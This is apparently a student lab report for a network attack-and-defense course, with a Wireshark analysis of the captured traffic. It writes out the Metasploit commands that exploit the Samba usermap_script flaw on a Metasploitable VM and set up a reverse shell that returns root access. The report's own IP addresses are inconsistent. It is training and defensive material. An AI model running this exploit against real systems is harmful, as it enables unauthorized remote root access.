20212934 2021-2022-2 《网络攻防实践》第七次作业
实践内容:
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
基本知识
Linux操作系统基本框架概述
linux操作系统由bootloader、kernel内核、init进程(属于守护进程)、daemons守护进程、graphical server(属于守护进程)、桌面环境、应用软件等组成。 简单来说,操作系统也是一种软件,用来管理计算机的所有软硬件资源。
Linux内核的主要模块(或组件)分以下几个部分:存储管理、CPU和进程管理、文件系统、设备管理和驱动、网络通信,以及系统的初始化(引导)、系统调用等。
Shell是系统的⽤户界⾯,提供了⽤户与内核进⾏交互操作的⼀种接⼝。它接收⽤户输⼊的命令并把它送⼊内核去执⾏,是⼀个命令解释器。
usermap_script漏洞
Samba用户名映射脚本命令执行。这个模块利用漏洞执行命令,在Samba版本3.0.20到3.0.25rc3当使用非默认用户名映射脚本配置选项。 通过指定一个用户名包含shell元字符,攻击者可以执行任意命令。 不需要身份验证来利用此漏洞,因为此选项用于在身份验证之前映射用户名!
模块的位置 exploit/multi/samba/usermap_script
用户输入未转义的参数作为参数传递到/bin/sh,允许远程命令执行,此错误最初是针对匿名呼叫报告的,到SamrChangePassword() MS-RPC函数组合与“用户名映射脚本”smb.conf选项。
经过Samba开发者的进一步调查,结果是确定了问题更广泛和影响远程打印机和文件共享管理。根原因是传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,在smb.conf中。 然而,不同于"username map script"漏洞,远程文件和打印机管理脚本需要经过身份验证的用户会话。
针对网络服务远程渗透攻击的安全防范措施
选择安全的网络协议与服务软件,并使用最佳安全实践进行部署,及时更新网络服务版本,使用防火墙和网络隔离技术。建立入侵检测与应急响应计划流程
实验过程
使用Metasploit进行Linux远程渗透攻击
Kali :192.168.139.131 Metaolitable: 192.138.139.134
1,打开msfconsole
(2)输入use exploit/multi/samba/usermap_script,使用exploit/multi/samba/usermap_script渗透攻击模块;
(3)使用show payloads,查看payload;再使用set payload cmd/unix/reverse,最后分别使用set LHOST 192.168.31.226和set RHOST 192.168.31.147分别设置攻击机和靶机的IP;最后使用exploit进行攻击。
(4)攻击成功后输入shell,可以成功进行对靶机的远程控制。在控制台输入ifconfig查看ip发现是靶机的ip,证明攻击成功。
输入whoami,看到以及获取了靶机的root权限,此时可以以管理员身份对靶机进行操作。
攻防对抗实践:
攻击方:
打开msfconsole,使用实验1的过程,对Usermap_script安全漏洞进行攻击
防守方
使用wireshark进行攻击方的数据监听,并对数据包进行分析。
打开TCP的数据流,可以看到攻击成功的信息,同时可以看到攻击者对靶机进行的操作。
通过数据流之间的ip地址,可以发现攻击方的ip地址为192.168.108.129。
从SMB数据包的的数据流得到如下信息,4444表明数据通过的4444号通信端口管控传入攻击机的;sh是linux中运行shell的命令,可以看到攻击方使用了shell指令。